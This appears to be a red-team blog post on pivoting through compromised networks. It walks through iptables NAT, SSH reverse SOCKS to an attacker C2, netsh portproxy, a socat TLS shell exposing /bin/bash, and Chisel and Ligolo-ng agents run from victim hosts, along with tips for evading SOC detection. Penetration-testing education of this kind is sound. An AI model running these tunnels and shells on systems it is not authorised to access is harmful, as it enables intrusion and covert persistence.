Pivoting is most of what separates a successful internal engagement from one that ends at the bastion host. Once you’ve landed somewhere, the question is rarely “do I have shell?” — it’s “how do I get the rest of my toolkit through this network without giving the SOC a reason to wake up?”
This post is about the tools I actually reach for: iptables NAT for transparent rewrites, the SSH forwarding flags (including reverse SOCKS, which a lot of people miss), Windows netsh portproxy for living-off-the-land on a Windows pivot, socat for everything weird, and Chisel and Ligolo-ng for the cases SSH doesn’t handle well.
1. iptables port redirection (Linux)#
iptables is the kernel firewall and packet-mangling layer on Linux. The nat table is the part that matters here — it lets you set up redirects that don’t need a userland process babysitting the connection like socat does.
Enable IP forwarding first#
The kernel won’t route packets between interfaces unless forwarding is on:
# Check current status (0=disabled, 1=enabled)
cat /proc/sys/net/ipv4/ip_forward
# Enable on the fly
echo 1 > /proc/sys/net/ipv4/ip_forward
# Enable persistently (requires root)
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf && sysctl -pForward to an internal web server#
You’ve compromised a Linux jump box at 10.0.0.5. From your attacker machine, you want to reach an internal web server at 10.0.0.50:80 by hitting the jump box on port 8080.
DNAT — rewrite the destination#
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 10.0.0.50:80SNAT / MASQUERADE — rewrite the source#
This is the step everyone skips and then spends an hour debugging. After DNAT, the packet hits 10.0.0.50 with your external IP as the source. The internal server has no route back to you, so the reply never comes home. You have to rewrite the source to the jump box’s IP so the reply comes back to the jump box, which then sends it to you:
# Using MASQUERADE (dynamic IP)
iptables -t nat -A POSTROUTING -j MASQUERADE
# Or specific SNAT (static IP, slightly faster)
iptables -t nat -A POSTROUTING -j SNAT --to-source 10.0.0.5If your tunnel “works” but only the SYN goes through and nothing comes back, this is almost always why.
2. SSH forwarding#
SSH is almost always allowed outbound. It’s encrypted, it’s reliable, and the forwarding flags cover most pivoting needs without dropping anything new on the host.
The basics: -L, -R, -D#
-L 8080:target:80— local forward. “Open port 8080 on my machine; tunnel it totarget:80from the SSH server’s vantage point.”-R 8080:target:80— remote forward. “Open port 8080 on the SSH server; tunnel it totarget:80from my machine’s vantage point.”-D 1080— dynamic forward. “Open a SOCKS proxy on my machine.”
Reverse SOCKS#
Modern OpenSSH (7.6+) supports reverse SOCKS. SSH out from a restricted host to your C2, and a SOCKS proxy opens up on the C2 that tunnels back into the restricted network. This is the one that bails you out when the perimeter blocks every inbound port but lets ssh and HTTPS out unfiltered.
You’re on internal host 10.10.10.5, which can SSH outbound but won’t accept inbound connections. From the internal host:
# Connect OUT to attacker. Open port 1080 on attacker.
# traffic to attacker:1080 -> Internal Network
ssh -R 1080 user@attacker-c2On the C2, point proxychains at 127.0.0.1:1080 and you have access to 10.10.10.x.
-J for chained jumps#
Stop running ssh host1 and then ssh host2 from inside it. -J chains them in one command:
# Jump through bastion1, then bastion2, to reach target
ssh -J user@bastion1,user@bastion2 user@targetscp understands the same option:
scp -o ProxyJump=user@bastion1 file.txt user@target:/tmp/sshuttle#
SOCKS proxies break a lot of tools — anything that doesn’t know what a SOCKS proxy is, plus most things involving UDP, plus most Go binaries. sshuttle works around that by rewriting the local routing table so all traffic to the target subnet goes through SSH transparently. It feels like a VPN without being one.
# Route all traffic to 10.0.0.0/24 through the pivot host
sshuttle -r user@pivot-host 10.0.0.0/243. netsh interface portproxy on Windows#
Land on a Windows box and you usually don’t have SSH. netsh interface portproxy is the built-in equivalent of iptables DNAT.
Forward 4455 → DC SMB#
netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.10Now CompromisedWindows:4455 from your attacker machine routes to the DC’s 445.
Where this saves you#
Two scenarios that come up:
- The perimeter firewall lets in TCP/443 but blocks 3389. Forward 443 → 3389 (assuming nothing’s actually listening on 443) and you have RDP.
- IPv6 is often less filtered than IPv4.
v6tov4lets you listen on an IPv6 address and forward to an internal IPv4 host.
Cleanup matters#
netsh portproxy rules are persistent. They survive reboots, because they live in the registry under HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4. Leaving them behind is exactly the kind of thing that turns up in a post-engagement audit.
# View active
netsh interface portproxy show all
# Delete
netsh interface portproxy delete v4tov4 listenport=4455 listenaddress=0.0.0.04. socat#
Socat is cat for sockets. If two endpoints can be plumbed together, socat can probably do it.
Plain TCP redirector#
socat TCP4-LISTEN:8080,fork TCP4:10.0.0.50:80TLS-wrapped reverse shell#
If you don’t want to set up a full SSH or TLS terminator just to wrap a shell, socat is enough:
Listener on the target:
# Generate cert
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
# Listen
socat OPENSSL-LISTEN:4443,cert=cert.pem,key=cert.key,verify=0 EXEC:/bin/bashConnector from the attacker:
socat - OPENSSL:target-ip:4443,verify=0verify=0 is fine for opportunistic encryption against passive monitoring. Don’t pretend it’s authenticated; an active MITM will eat it for breakfast.
5. Chisel and Ligolo-ng#
SSH and netsh are great because they’re already there. When they’re not enough — restrictive proxies, scans that need real layer-3 access, performance — these are what I reach for.
Chisel#
Chisel tunnels TCP/UDP over HTTP, secured via SSH-style auth. It’s a single static binary for Linux, Windows, and macOS, which makes it easy to drop on most things.
Server (attacker):
# Start server, listening on port 8000, allowing reverse tunnels
chisel server -p 8000 --reverseClient (victim):
# Connect to attacker, open a Reverse SOCKS proxy on attacker's port 1080
chisel client 10.10.14.5:8000 R:1080:socksSame end result as ssh -R, but it goes over HTTP, which slips through more web proxies cleanly. Run the server behind a real TLS terminator with a valid cert and the egress traffic looks like ordinary HTTPS.
Ligolo-ng#
Ligolo-ng
is what I use for serious pivoting. Instead of a SOCKS proxy (which breaks SYN scans, anything UDP, and a long tail of tools), Ligolo brings up a real TUN interface on your attacker box. Once it’s running, the internal network shows up as a route on a network interface and tools work natively — ping, nmap -sS, the whole kit, no proxychains.
The model is two binaries:
proxyruns on the attacker.agentruns on the victim.- The agent connects out to the proxy, which exposes the victim’s network as a routable interface.
Attacker:
sudo ./proxy -selfcertVictim:
agent.exe -connect 10.10.14.5:11601 -ignore-certAttacker, inside the ligolo console:
# In ligolo session
session 1
start
# On host
sudo ip route add 10.10.10.0/24 dev ligolo0After that, nmap -sS 10.10.10.0/24 works the way you’d expect it to. SOCKS-based tunneling can’t do that — half-open SYN scans bypass the SOCKS proxy entirely, and you end up scanning your own attacker box by accident. Ligolo just routes it.
6. What this looks like to defenders#
Tunneling is loud if anyone is paying attention to the right things.
- Long-lived TCP connections moving real traffic — anything an SSH or Chisel session does over hours is a giveaway to a netflow analyst who knows what to look for.
ssh -R ...commands sit inps auxand~/.bash_history. Use~/.ssh/configand named hosts to keep the visible command line boring.netsh portproxywrites to the registry and persists. If you don’t clean up, your rules show up in a post-engagement audit and possibly in the SOC’s own asset inventory.- A
ssh -Dlistener on127.0.0.1shows up to anything looking at processes bound to ephemeral ports. Not a smoking gun on its own, but it’s a thread to pull.
For high-stakes work I lean on Ligolo-ng (because tooling works natively across it and there’s no SOCKS weirdness) or Chisel over real TLS with a valid cert so the connection blends in with web traffic.
Wrapping up#
A lot of pivoting comes down to plumbing — figuring out which interface a packet is going to leave from, what its source address will look like by the time it arrives, and whether anything along the path is going to silently drop it. The choice between iptables and netsh and SSH and Ligolo matters less than understanding the network you’re trying to move through. Get the egress map right and most of the tooling decisions make themselves.
And actually undo your netsh portproxy rules before you leave. I’ve seen them turn up in client audits months later.
UncleSp1d3r out.